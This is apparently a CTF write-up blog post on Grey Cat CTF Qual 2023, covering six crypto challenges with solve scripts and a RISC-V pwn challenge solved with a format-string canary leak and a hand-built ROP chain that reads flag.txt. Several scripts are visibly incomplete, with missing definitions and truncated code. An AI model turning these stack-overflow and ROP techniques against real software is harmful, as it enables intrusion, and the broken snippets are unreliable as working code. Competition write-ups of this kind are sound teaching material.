## Overview

Last weekend, I participated in Grey Cat CTF Qual 2023 with b01lers. We ranked 22nd overall. I think the challenges are interesting and decided to post writeups on the challenges I solved. I solved 6 crypto and 1 pwn (with help from teammate) during the competition.

Challenge solved after the competition are marked as [*]

## The Vault

Can you break into a double-encrypted vault?

- qvinhprolol

nc 34.124.157.94 10591
solves: 100/454


We are given chall.py.

from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from math import log10

FLAG = "grey{fake_flag}"

n = pow(10, 128)
def check_keys(a, b):
if a % 10 == 0:
return False

# Check if pow(a, b) > n
if b * log10(a) > 128:
return True
return False

def encryption(key, plaintext):
iv = "Greyhats".encode()
cipher = AES.new(key, AES.MODE_CTR, nonce = iv)
return cipher.encrypt(plaintext)

print("Welcome back, NUS Dean. Please type in the authentication codes to open the vault! \n")

a = int(input("Enter the first code: "))
b = int(input("Enter the second code: "))

if not check_keys(a, b):
print("Nice try thief! The security are on the way.")
exit(0)

print("Performing thief checks...\n")
thief_check = get_random_bytes(16)

# Highly secure double encryption checking system. The thieves stand no chance!
x = pow(a, b, n)
first_key = sha256(long_to_bytes(x)).digest()
second_key = sha256(long_to_bytes(pow(x, 10, n))).digest()

if thief_check == encryption(first_key, encryption(second_key, thief_check)):
print("Vault is opened.")
print(FLAG)
else:
print("Stealing attempts detected! Initializing lockdown")


Since the encryption uses CTR with the same nonce, if we make first_key == second_key, the encryption will cancel out itself.

# Highly secure double encryption checking system. The thieves stand no chance!
x = pow(a, b, n)
first_key = sha256(long_to_bytes(x)).digest()
second_key = sha256(long_to_bytes(pow(x, 10, n))).digest()


Observing how the two keys are generated. Therefore, we just need to find a and b that makes $x \equiv x^{10} \mod{n}$. Naturally, we would want to make x = 1.

One method is to simply make $a \equiv 1 \mod{n}$, since there is no bounding check on a, if we make a = n+1, and b sufficiently large, we can pass the keys check.

The other way is to utilize eular’s theorm, which states $x^{\phi({n})} \equiv 1 \mod(n)$. By setting $b = \phi({n})$ and supply a sufficiently large a, we can solve the challenge.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *

from pwn import *
nc_str = "nc 34.124.157.94 10591"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

p.sendline(str(10**128+1))
p.sendline(str(10))
p.interactive()
#grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}


## Greycat Trial

In the sacred realm of GreyCat, amidst the swirling mists of arcane power, a momentous trial unfolds, seeking the one destined to bear the mantle of the next mighty GreyCat wizard.

- qvinhprolol

nc 34.124.157.94 10592
solves: 63/454

from random import randint

FLAG = "grey{fake_flag}"

print("Lo and behold! The GreyCat Wizard, residing within the Green Tower of PrimeLand, is a wizard of unparalleled prowess")
print("The GreyCat wizard hath forged an oracle of equal potency")
print("The oracle hath the power to bestow upon thee any knowledge that exists in the world")
print("Gather the requisite elements to triumph over the three trials, noble wizard.")
print()

a = int(input("The first element: "))
b = int(input("The second element: "))
print()

all_seeing_number = 23456789

# FIRST TRIAL
if b <= 0:
print("Verily, those who would cheat possess not the might of true wizards.")
exit(0)

if pow(all_seeing_number, a - 1, a) != 1:
print("Alas, thy weakness hath led to defeat in the very first trial.")
exit(0)

# SECOND TRIAL
trial_numbers = [randint(0, 26) for i in range(26)]

for number in trial_numbers:
c = a + b * number
if pow(all_seeing_number, c - 1, c) != 1:
print("Thou art not yet strong enough, and thus hast been vanquished in the second trial")
exit(0)

# THIRD TRIAL
d = a + b * max(trial_numbers)
if (d.bit_length() < 55):
print("Truly, thou art the paramount wizard. As a reward, we present thee with this boon:")
print(FLAG)
else:
print("Thou art nigh, but thy power falters still.")


Notice that the “trial” is a fermat primality test. While there exists some exceptions (Carmichael numbers), all we need to do is to find a long enough sequence of prime in arithmetic progression. A quick google search will lead to this wiki page, where there are a example with length of 21 included.

$5749146449311 + 26004868890n$

>>> [pow(23456789, 5749146449311 + 26004868890*i - 1, 5749146449311 + 26004868890*i) for i in range(26)]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 5969533133056, 1942548458790, 3086279453216, 1, 774068330828]


Now notice that in the trial, the trial numbers are randomly chosen, so we don’t need to perfectly pass every test. With the example from wikipedia, 22 out of 26 numbers will pass the primality test, which gives us a $({22}/{26})^{26} \approx 1.3\%$ chance of passing the trail every single time. With enough trys, the odd will stand in our favor. (On average 76 trys will be needed).

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *

from pwn import *

for i in range(10000):
print(i)
nc_str = "nc 34.124.157.94 10592"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

p.sendline(b"5749146449311")
p.sendline(b"26004868890")

s = p.recvall()
if b"grey{" in s:
print(s)
break
#grey{Gr33N-tA0_The0ReM_w1z4rd}


## OT

Oblivious Transfer is amazing :D

- mechfrog88

nc 34.124.157.94 10521
solves: 41/454

import secrets
import hashlib
from Crypto.Util.number import isPrime, long_to_bytes

FLAG = b'grey{fake_flag}'

e = 0x10001

def checkN(N):
if (N < 0):
return "what?"
if (N.bit_length() != 4096):
return "N should be 4096 bits"
if (isPrime(N) or isPrime(N + 23)):
return "Hey no cheating"
return None

def xor(a, b):
return bytes([i ^ j for i,j in zip(a,b)])

def encrypt(key, msg):
key = hashlib.shake_256(long_to_bytes(key)).digest(len(msg))
return xor(key, msg)

print("This is my new Oblivious transfer protocol built on top of the crypto primitive (factorisation is hard)\n")
print("You should first generate a number h which you know the factorisation,\n")
print("If you wish to know the first part of the key, send me h")
print(f"If you wish to know the second part of the key, send me h - {23}\n")

N = int(input(("Now what's your number: ")))

check = checkN(N)
if check != None:
print(check)
exit(0)

k1, k2 = secrets.randbelow(N), secrets.randbelow(N)
k = k1 ^ k2

print("Now I send you these 2 numbers\n")
print(f"pow(k1, e, N) = {pow(k1, e, N)}")
print(f"pow(k2, e, N+23) = {pow(k2, e, N + 23)}\n")

print("Since you only know how to factorise one of them, you can only get one part of the data :D\n")
print("This protocol is secure so sending this should not have any problem")
print(f"flag = {encrypt(k, FLAG).hex()}")
print("Bye bye!")


Since we need to decode both rsa encryption, we’ll need to know the factorization of both N and N+23. However, the server checked to make sure that N and N+23 are both prime. In order to constuct such number, we can try to find a number k where we know the factorization of k, but k+1 is a prime, then N will be 23k and 23(k+1) respsectively.

The way I construct the number is by building up primes from 2, then bruteforce the last prime so that k+1 is a prime. With that, we have the factorization of both N and N+23. Simply by calculating the phi and decrypt the rsa in both cases, and decrypt the flag using the same function, we can recover the flag.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Util.number import isPrime
from sage.all import *
import secrets
import hashlib
from Crypto.Util.number import isPrime, long_to_bytes

from pwn import *

# construct smooth prime
p1 = 2
a = 2
while int(p1*23).bit_length() < 4060:
p1*= next_prime(a)
a = next_prime(a)

print(a)
b = next_prime((1<<4095)// 23 // p1)
counter = 1
while not isPrime(p1*b+1) or int(23*p1*b).bit_length() < 4096:
counter+=1
if(counter%100000 == 0):
print(counter)
print(int(23*p1*b).bit_length())
b = next_prime(b)

print(a)
k = 23*(p1*b)
print(a, b)
print(int(k).bit_length())

nc_str = "nc 34.124.157.94 10521"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

p.sendline(str(int(k)))

p.recvuntil(b"pow(k1, e, N) = ")
c1 = int(p.recvline())
p.recvuntil(b"pow(k2, e, N+23) =")
c2 = int(p.recvline())
p.recvuntil(b"flag = ")
flag = bytes.fromhex(p.recvline().strip().decode())

print(c1, c2)

# key 1 (N)
d1 = 1
for i in range(a):
if isPrime(i):
d1*=i-1
d1*=b-1
d1*=23
k1 = pow(c1, int(pow(65537, -1, int(d1))), k)

# key 2 (N+23)
d2 = (23-1)*(p1*b)
k2 = pow(c2, int(pow(65537, -1, int(d2))), k+23)

k = int(k1)^int(k2)

# since the encryption is just xor with the hash of the key,
# it also served as a decryption function
def decrypt(key, msg):
key = hashlib.shake_256(long_to_bytes(key)).digest(len(msg))
return xor(key, msg)

print(decrypt(k, flag))
#grey{waitttt_I_thought_factorization_is_hard!!?_bSug9kksE3W9SrPL}


## PLCG

Add some probability to spice up the game

- mechfrog88

nc 34.124.157.94 10531
solves: 32/454

#!/usr/bin/python3
import secrets
from Crypto.Cipher import AES
import sys

FLAG = b'grey{fake_flag}'

while True:
sample = [3, 80] + [secrets.randbelow(256) for _ in range(2)]
if len(sample) == len(set(sample)) and 0 not in sample:
break

sample = [3, 80, 128, 182]

def getBiasRandomByte():
return secrets.choice(sample)

def getRandomByte():
n = 0; g = 0
for _ in range(20):
n += getBiasRandomByte() * getBiasRandomByte()
for _ in range(20):
g = (g + getBiasRandomByte()) % 256
for _ in range(n):
g = (getBiasRandomByte() * g + getBiasRandomByte()) % 256
return g

def encrypt(msg):
key = bytes([getRandomByte() for _ in range(6)])
cipher = AES.new(pad(key, 16), AES.MODE_CTR, nonce=b'\xc1\xc7\xcc\xd1D\xfbI\x10')
return cipher.encrypt(msg)

print("Hello there, this is our lucky numbers")
print(" ".join(map(str,sample)))

s = int(input("Send us your lucky number! "))

if not (0 <= s <= 10):
print("I dont like your number :(")
exit(0)

for i in range(s):


In this challenge, the key used to encrypt the flag is generated from a custom-made prng generator. Notice that in the last step, if we get some $2^x$ number as the bias random byte, the previous result of g will be shifted upward, leaving very little randomness. To actually calculate the probablility of each value as the outcome given sample, we can model the transition between two steps using a markov chain.

Assuming that the markov chain converges to stable sufficently fast, I simply apply the transformation matrix on a uniform distribution to see how skewed the output will be given the sample set. I them connect to the server multiple times until a set skewed enough is retrieved. After that, by bruteforcing the possible keys and attempting to decrypt the text gives us the flag.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *
from sage.all import *

while True:
try:
p = remote("34.124.157.94", 10531)
p.recvline()
lucky = list(map(int, p.recvline().split(b" ")))
print(lucky)
sample = lucky
# markov chain
valid_output = [[(i*j+k)%256 for j in sample for k in sample] for i in range(256)]
transition = matrix(QQ, [[valid_output[i].count(j) for j in range(256)] for i in range(256)]).transpose()/16
initial = vector(QQ, [1 for i in range(256)])/256
dist = (transition**100) * initial

if min(dist) < 1e-5:
break
p.close()
except Exception:
pass

p.recvuntil(b"! ")
p.sendline(b"10")
for i in range(10):
print(p.recvline())

p.interactive()

#!/usr/bin/python3
import secrets
from Crypto.Cipher import AES
from sage.all import *
import sys

FLAG = b'grey{fake_flag}'

sample = [3, 80, 64, 240]

# markov chain
valid_output = [[(i*j+k)%256 for j in sample for k in sample] for i in range(256)]
transition = matrix(QQ, [[valid_output[i].count(j) for j in range(256)] for i in range(256)]).transpose()/16
initial = vector(QQ, [1 for i in range(256)])/256
dist = (transition**100) * initial

print(dist)
valid_output = []
for i in range(256):
count = int(dist[i]*1000)
valid_output += [i for j in range(count)]
print(min(dist))

#[3, 80, 64, 240], taken from brute.sage
res = """
"""

enc_flags = [i.split(": ")[-1] for i in res.split("\n")][1:-1]
enc_flags = [bytes.fromhex(i) for i in enc_flags]
print(enc_flags)

counter = 0
while True:
key = bytes([secrets.choice(valid_output) for _ in range(6)])
cipher = AES.new(pad(key, 16), AES.MODE_CTR, nonce=b'\xc1\xc7\xcc\xd1D\xfbI\x10')
for msg in enc_flags:
dec = cipher.decrypt(msg)
if b"grey" in dec:
print(key)
print(msg, dec)

counter+=1
if counter%10000 == 0:
print(counter)

#b'\x03\xf0\xf0PP\x03'
#b'UX\xe8\x8f\xaa\xdb\xe6\x97\xd5\x0f\t\xcc\xd9\x8c\x10C\xaf\x0b\xf8\xa9\xe2\x0f]\xe6\r\xcd]\xff\x0by\xeb\xe9\xc9O\xf4<\x90\xf2J\xe2\xbf^\xa0\xed=\n\xd9k3\t\xe2\xe0n\x1a '
#b'grey{G3T_Rand0m_Byte-is_Still_Bi@s_Oof_7nwh8eQfV5e8eZwC}'



## Encrypted

Let's just do something simple

- mechfrog88

solves: 22/454

from Crypto.Util.number import bytes_to_long
from secrets import randbits

FLAG = b'fake_flag'

p = randbits(1024)
q = randbits(1024)

def encrypt(msg, key):
m = bytes_to_long(msg)
return p * m + q * m**2 + (m + p + q) * key

n = len(FLAG)
s = randbits(1024)

print(f'n = {n}')
print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {encrypt(FLAG[:n//2], s)}')
print(f'c2 = {encrypt(FLAG[n//2:], s)}')



For this challenge, the encryption is as follow with $p$, $q$, $c_1$, $c_2$ given.

\begin{align} c_1 &= p \times m_1 + q \times m_1^{2} + (m_1+p+q) \times k \\ c_2 &= p \times m_2 + q \times m_2^{2} + (m_2+p+q) \times k \\ \end{align}

I start by manipulating the equations around too see how can I simplify it. I know that we’re trying to find a small root of the equation (m is significantly smaller than all other parameter) but I’m not sure what I can do. When I try to take mod q on the equation, I found the following relationship. (I’ll focus on one copy

\begin{align} c \equiv p \times m + (m+p) \times k &\mod{q}\\ c - p \times m \equiv (m+p) \times k &\mod{q}\\ (c - p \times m) \times (m+p)^{-1} \equiv k &\mod{q}\\ \end{align}

By combining the two equations together.

\begin{align} (c_1 - p \times m_1) \times (m_1+p)^{-1} &\equiv k \equiv (c_2 - p \times m_2) \times (m_2+p)^{-1} &\mod{q}\\ (c_1 - p \times m_1) \times (m_1+p)^{-1} &\equiv (c_2 - p \times m_2) \times (m_2+p)^{-1} &\mod{q}\\ (c_1 - p \times m_1) \times (m_2+p) &\equiv (c_2 - p \times m_2) \times (m_1+p) &\mod{q}\\ \end{align} \begin{align} (c_1 - p \times m_1) \times (m_2+p) - (c_2 - p \times m_2) \times (m_1+p) &\equiv 0 \mod{q}\\ p\times (c_1-c_2) + (c_1 m_2 - c_2 m_1) - p^{2} m_1 + p^{2} m_2 &\equiv 0 \mod{q}\\ m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) &\equiv 0 \mod{q}\\ \end{align}

After all the manipulation, we can get $$m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) - Kq = 0$$ , where $K \in \mathbb{Z}$

We can using this relationship to form the following lattice. \begin{align} m_1 (c_2+p^{2}) - m_2 (c_1+p^{2}) - p (c_1 - c_2) - Kq &= 0\\ m_1 &= m_1\\ m_2 &= m_2 \\ 1 &= 1\\ \end{align}

\begin{align} m_1 \begin{bmatrix} c_2+p^{2} \\ 1 \\ 0 \\ 0 \end{bmatrix} -m_2 \begin{bmatrix} c_1+p^{2} \\ 0 \\ -1 \\ 0 \\ \end{bmatrix} -\begin{bmatrix} p(c_1 - c_2) \\ 0 \\ 0 \\ -1 \end{bmatrix} - K \begin{bmatrix} q \\ 0 \\ 0 \\ 0 \end{bmatrix} =\begin{bmatrix} 0 \\ m_1 \\ m_2 \\ 1 \end {bmatrix} \end{align}

To make the resulting vector balanced, we apply a weight matrixs so that LLL can better find the target vector we want. See the solve script for more detail.

from Crypto.Util.number import long_to_bytes, bytes_to_long
#from pwn import *

n = 60
p = 154086578594169457435595675666643895734811841080572558765373507236578028216591747533849923751469191596377661004029046877904042460778919103625210259448925051403568654035172094553059686620938995150323671690612067502149750334217640430881837803398594614204799922967620005040202036583050736150941842152536365544084
q = 125017463628708786112045898783989519686518641018787292892390877841668306746146702301981172263729102252453507006240973911324033106244068376643435622158128309826549542204034257871545558185841458407254799884829820319949756220781717646450760642511971882897039183232753628829418868493229485015468373205449789812260
c1 = 31118850289098152832161049930974564440792673516199584784484864528279481500612948601526706062621276262711210497739562987491633664814289725255046485262798604510626941827187912034287402128550018798165331343869198539137692903451118993538977788768945912026980846832254010558073806464461172522295653614635829516912620303901074895536704497550933805653512993413784431814034970399353908315083734783641688845887335175756415452320057666293794222522192970247045775053062573130002154959221285571979645935259561842756575513382500001710093979669436220490166791279222321068474420336287079321260681992725702004322840264333436628467610
c2 = 31118850289098152832161049930974564440792673516199584784484864528279481500612948601526706062621276262711210497739562987491633664814289725255046485262798604510626941817672660832127847041917018566902241465270388458210289299587958256824375312920716794521835108724034002277333245660951027397544591256117371462945925063227877052543505162260331377627961855698406102909764518955398788366432268123471930922870790059289526241832032413046933338032005163677585629816264668273416126506175004091486421225900247767247311587061422436593600806854703842740334379936590431991884721985057366825456467986462930236986239275935656810387114

# LLL (4*4 with weights)
weights = [1, 1/2^240, 1/2^240, 1]
Q = diagonal_matrix(weights)
L = Matrix([
[c2+p^2, 1, 0, 0],
[c1+p^2, 0, -1, 0],
[p*(c1-c2), 0, 0, -1],
[q, 0, 0, 0]])
L = L*Q
Sol = L.LLL()/Q
print(Sol)

for col in Sol:
if col == 0 and col == 1:
print(long_to_bytes(int(col))+long_to_bytes(int(col)))

#grey{shortest_crypto_challenge_in_this_ctf_srfrGRUEShP8FKwn}


## QRSA

Questionable RSA

- mechfrog88

solves: 17/454

from Crypto.Util.number import bytes_to_long
from secret import qa, qb, pa, pb

FLAG = b'fake_flag'

class Q:
d = 41
def __init__(self, a, b):
self.a = a
self.b = b

return Q(self.a + other.a, self.b + other.b)

def __sub__(self, other):
return Q(self.a - other.a, self.b - other.b)

def __mul__(self, other):
a = self.a * other.a + Q.d * self.b * other.b
b = self.b * other.a + self.a * other.b
return Q(a, b)

def __mod__(self, other):
# Implementation Hidden
# ...
return self

def __str__(self) -> str:
return f'({self.a}, {self.b})'

def power(a, b, m):
res = Q(1, 0)
while (b > 0):
if (b & 1): res = (res * a) % m
a = (a * a) % m
b //= 2
return res

p, q = Q(pa, pb), Q(qa, qb)
N = p * q
m = Q(bytes_to_long(FLAG[:len(FLAG)//2]), bytes_to_long(FLAG[len(FLAG)//2:]))
e = 0x10001
c = power(m, e, N)

print(f"N_a = {N.a}")
print(f"N_b = {N.b}")
print(f"C_a = {c.a}")
print(f"C_b = {c.b}")
print(f"e = {e}")
print(f"D = {Q.d}")


This is a rsa challenge implemented with quadratic integer. With a quick google search, we can find this paper (RSA in extensions of the ring of integers). In section 7.1, it mentioned that if the $norm(N)$ can be factorized, it’s possible to retrive $\phi(N)$ since $\phi(N)$ is calculated thorugh the norm of p and q, while norm is preserved through multiplication.

In my solution, I first tried constructing phi by using the normal phi algorithm ($\prod (p^k-p^{k-1})$), where p is the prime factors and k is the number of those factors. However, the output phi doesn’t work (as in doesn’t recover the flag). When randomly poking around during the competition, I found out that $\prod (p^{k+1}-p^{k-1})$ somehows recovers that flag. (norm is obmitted here, p is representing the irriducible factors)

I still don’t fully understand why this work. According to the author, the $\phi(N)$’s component will different based on how each prime factors are like. In case where the factor $p \in \mathbb{Z}$, $norm(p)$ will be $(p^2-1)\times(p^{2(k-1)})$ instead of the typical $p^{k}-p^{k-1}$. Therefore, in the solve script, the author took the lcm of the two cases to construct the phi. In my case, I assume that because my factor still covers a wide enough cases, so the phi works out the decrypt the flag.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *
from factordb.factordb import FactorDB
import random

class Q:
d = 41
def __init__(self, a, b):
self.a = a
self.b = b

return Q(self.a + other.a, self.b + other.b)

def __sub__(self, other):
return Q(self.a - other.a, self.b - other.b)

def __mul__(self, other):
a = self.a * other.a + Q.d * self.b * other.b
b = self.b * other.a + self.a * other.b
return Q(a, b)

def __truediv__(self, other):
top = self * Q(other.a, -1*other.b)
bot = other * Q(other.a, -1*other.b)
ra = top.a%bot.a
rb = top.b%bot.a
resa = top.a//bot.a + 1
resb = top.b//bot.a + 1
return Q(resa, resb)

# taken from https://www.diva-portal.org/smash/get/diva2:1170568/FULLTEXT01.pdf
def __mod__(self, other):
divs = self/other
x = int(divs.a)
y = int(divs.b)
for (difx, dify) in ([0, 0], [-1, 0], [0, -1], [-1, -1]):
res = self - (other * Q(x+difx, y+dify))
if res.a>0 and res.b>0:
#                print(difx, dify)
return res
#        assert(res.norm() < other.norm())
print("mod not sat")
return res

def __str__(self) -> str:
return f'({self.a}, {self.b})'

def norm(self):
return abs(self.a * self.a - Q.d * self.b * self.b)

def Qpower(a, b, m):
res = Q(1, 0)
while (b > 0):
if (b & 1): res = (res * a) % m
a = (a * a) % m
b //= 2
return res

N_a = 2613240571441392195964088630982261349682821645613497396226742971850092862049682714123355029612448609254303796690909646594946069650719320421550307082460305103785198772732273571020529003974320397237096691522804712706512030715753640155668659684093067319185265153545236392472134496428382266600090383797614653942221936332929175557303391656241351117808833959918253404012245633586322491783496235954011173498460231177697737092488315432823871012224368640000000
N_b = 406631291381063062708368640624433195177629887128324992156536215422427085251271158548246052765619573442134462500652616281986273622217404519958464200902599497611719198311591180368508835389781999428982410097278062504076636059232055783729252448502542597951710294264137195997893054083787667027206495381119048279226753306334118272352371363733528942151156768581101905518532465160584386180402709606771189313858666352673319676040954150310530906188677120000000
C_a = 2548711194583905242838482900078294859199882484375229964715550469790767416706725411953362845724983002558821710679258499982960453598798074631796750663774845415692650589352513765870894878170769435087683220330986573614974529690187792931316475879984809267941606365493481277785184076320720487644565808909403821593150101568803446075808715002632463329841749179295823686361086890490703942659897558782785569910876849941888829825694107185482012864247559426111336
C_b = 400941158148299866665115436146084555297152646914223433988293961893848206718639579342053294961462797881591789534709492717097892667288044693824228320005182068933966525404665323301134912609777110824069569544060608441451336249895977866445507357131208911196230972379132737483251711155975474018188763433151191428844929401881703566513896999328525340678378000286116960582957867857836600614501387296599091266404311307529322130111164410987643652390537358307965
N = Q(N_a, N_b)
C = Q(C_a, C_b)
e = 65537

#verify that the mod works
#print((Q(30, 23)+C*N)%N)

f = FactorDB(N.norm())
f.connect()
fs = f.get_factor_from_api()
#print(fs)

phi = 1
for (num, power) in fs:
factor = int(num)
phi *= factor**(power+1) - factor**(power-1)
assert(test == N.norm())
print(phi)

d = pow(e, -1, phi)
res = Qpower(C, int(d), N)
flag = long_to_bytes(res.a) + long_to_bytes(res.b)
print(flag)


## ROPV

Echo service again??????????

- jiefeng

nc 139.177.185.41 12335
solves: 38/454


We are given a binary file, upon basic inspections, we can observe that this is a riscv executable. File and checksec result is as follow.

$file ropv ropv: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, BuildID[sha1]=876741095749886c314618e6a23bd256072a721f, for GNU/Linux 4.15.0, not stripped$ checksec --file ropv
[*] 'greyhat2023/ropv/ropv'
Arch:     em_riscv-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x10000)


Since this is a statically linked binary, it will naturally contained a lot of function, and therefore, a lot of rop gadgets. As the name suggested, this is a rop challenge in riscv. The bug is really obvious, the program read 0x400 bytes from the user into a 8 byte buffer on stack, outputs what’s entered, then read the input again. Since the program is protected by stack canary, it is natural to use the first read to leak the canary, and the second to perform the rop attack.

In riscv, when a function is called, the original instruction pointer (ip) is put into the ra register. On return from a function, the ret instruction simply jump to where the ra register points to. meanwhile, register used by the function are stored on the stack by the callee, and restored before reture. Therefore, we can utilize the function epilog to set various registers before calling the functions we want. The actual rop chain is constructed by my teammate (@DeltaForce#8909 on discord) and I merely debug the exploit so that it actually works.

Some notable things I learn though this challenge is how to debug riscv binary on x86 system (or any other enumlatable architecture on any system). For this challenge, I used qemu-riscv64 to run the binary with -g 1234 argument. This opens a debugger port for the emulated binary that can be attached using gdb-multiarch. On a separate terminal, I launch gdb-multiarch ropv and entered target extend-remote :1234 to attach to the process. This allowed me to trace the execution and aid the exploit debugging process.

After the competition ended, someone linked this writeup, which indicated a universal rop gadget in riscv, which sets all a0~a7, needed for controlling syscall arguments. In this specific challenge binary, it is located in at 0x4281c. This would have been helpful during the competition, but it is still helpful information learned after the competition ended. Knowing this would have made the exploit development way easier.

from pwn import *
import os

context.terminal = 'konsole'
context.arch = 'riscv'

# os.environ['LD_LIBRARY_PATH'] = '.'

binary = './ropv'

exe = ELF(binary)
# libc = ELF('./libc.so.6')
# system = libc.symbols[b'system']
# binsh = libc.search(b'/bin/sh').__next__()
puts = exe.symbols[b'puts']

p = remote('139.177.185.41', 12335)
#p = process(['/usr/bin/qemu-riscv64','-g','1234',binary])

p.sendlineafter(b'Echo server: ', b'%9\$lx')
canary = int(p.recvline().strip().decode('ascii'), 16)
print(hex(canary))

flag_buf = 0x6f800

# sets s0 to s2
# sets s0, s1, s2, s3, 0x30 stack space
# this is the end of the plural eval function
set_s0_3 = 0x10c12

# sets s0 to s6 and returns
# this is the end of the is_strusted_path_normalize function
set_s0_6 = 0x3cbb8

# a0 = s2
# a1 = s3
# a2 = s4
# a3 = s0
# then does jalr s1
# c.mv a3, s0 ; c.mv a2, s4 ; c.mv a1, s3 ; c.mv a0, s2 ; c.jalr s1
set_a0_3 = 0x260bc

# this is midway inside the open function
# for this, we must load flags into s0 (the desired flags are probably 0)
# and filename to open into a1
# a3 should probably be 0?
open_at_code = 0x26592

# sets a1 = sp + 0x18, then jalr s1
# used to set a1 to filename on stack
# c.addi4spn a1, sp, 0x18 ; c.mv a0, s4 ; c.jalr s1

# offsets the stack by 30 so flag.txt does not overlap with canary when we go into open_at_code
# c.ldsp ra, 0x28(sp) ; c.addi16sp sp, 0x30 ; c.jr ra
offset_stack = 0x24f5e

open_at_canary = b'\xa2\x70\x45\x61\x82\x80\xa1\xc7'

# this is midway inside the read function
# filedescriptor in a0
# buf in a1
# num bytes in a2

payload = 8 * b'a' + p64(canary) + p64(0) + p64(set_s0_3)
# 0x30 stack space
# s3 = 0
# s2 = 0
# s1 = set_s0_3
# s0 = 0
# ra = set_a0_3
payload += p64(0) + p64(0) + p64(0) + p64(set_s0_3) + p64(0) + p64(set_a0_3)
# no stack space used
# a0 = s2 = 0
# a1 = s3 = 0
# a2 = s4 = unknown
# a3 = s0 = 0

# NOTE: a shorter gadget that doesn't set s2, s3, or s0 could bs used here
# jalr to set_s0_3
# 0x30 stack space
# s3 = 0
# s2 = 0
# s1 = set_s0_6
# s0 = 0
payload += p64(0) + p64(0) + p64(0) + p64(set_s0_6) + p64(0) + p64(addi4spn_a1)

# no stack space used
# a1 = sp + 0x18
# a0 = s4 = unknown

# jalr to set_s0_6
# 0x40 stack space
# s6 = 0
# s5 = 0
# s4 = 0
# s3 = flag.txt
# s2 = 0
# s1 = 0x6f000
# s1 is used later to load stack canary in open, so set it here
# s0 = 0
# ra = open_at_code
payload += 0x18 * b'\0' + b'flag.txt' + p64(0) + p64(0x6f000) + p64(0) + p64(open_at_code)
# payload += 0x18 * b'\0' + b'flag.txt' + p64(0) + p64(open_at_code)

# 0x70 stack space
payload += p64(0) + p64(0) + p64(0) + p64(canary) + p64(0)
# these 2 are s1 and s0 respectively
payload += p64(set_s0_6) + 0x30 * b'\0'

# s2 is fd that the open returns, shouldn't be hardcoded
# for this exploit, we simply enumerate through fd-s until it hits
# 0x40 stack space
# s6 = 0
# s5 = 0
# s4 = 100
# s3 = flag_buf
# s2 = 6
# s0 = 0
# ra = set_a0_3
payload += p64(0) + p64(0) + p64(100) + p64(flag_buf) + p64(6) + p64(read) + p64(0) + p64(set_a0_3)

# 0x20 stack_space
# s0 = 0
# s1 = puts
# s2 = flag_buf
payload += p64(flag_buf) + p64(puts) + p64(0) + p64(set_a0_3)

`